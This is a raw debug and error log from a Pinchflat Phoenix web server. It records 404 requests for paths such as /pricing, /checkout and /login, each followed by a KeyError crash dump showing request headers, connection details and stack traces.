remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bafe17813a-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "sm-a-rtal-exander6125.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "172.71.30.220"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/pricing", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCC_CoMRO8W4AAVfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e0bafe17813a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "sm-a-rtal-exander6125.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e0bafe17813a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "sm-a-rtal-exander6125.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, (truncated) 02:30:43.929 [info] GET /checkout 02:30:43.929 [debug] QUERY OK source="settings" db=0.1ms idle=851.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.929 [debug] QUERY OK source="settings" db=0.0ms idle=17.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.929 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.930 [error] #PID<0.3670.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 19) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /checkout ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb098ff4bb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a09a5095s6si.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3670.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bb098ff4bb-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "a09a5095s6si.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCDABkKv8YwUAAVgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb098ff4bb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a09a5095s6si.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we (truncated) 02:30:43.948 [info] GET /login 02:30:43.949 [debug] QUERY OK source="settings" db=0.1ms idle=36.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.949 [debug] QUERY OK source="settings" db=0.1ms idle=23.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.949 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.949 [error] #PID<0.3671.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 20) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb1af2bfa2-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "875d9b630ewz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.68.71.98", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3671.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bb1af2bfa2-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "875d9b630ewz.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "172.68.71.98"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCDEoKA6yONkAAVhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb1af2bfa2-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "875d9b630ewz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.68.71.98", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, (truncated) 02:30:43.952 [info] GET /app 02:30:43.953 [debug] QUERY OK source="settings" db=0.1ms idle=26.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.953 [debug] QUERY OK source="settings" db=0.0ms idle=23.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.953 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.953 [error] #PID<0.3672.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 21) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /app ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb2fe2a35d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "875d9b630ewz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3672.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0bb2fe2a35d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "875d9b630ewz.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCDFlxCXEiQ8AAViB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0bb2fe2a35d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "875d9b630ewz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp (truncated) 02:30:43.976 [info] GET /api/config 02:30:43.976 [debug] QUERY OK source="settings" db=0.1ms idle=46.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.976 [debug] QUERY OK source="settings" db=0.0ms 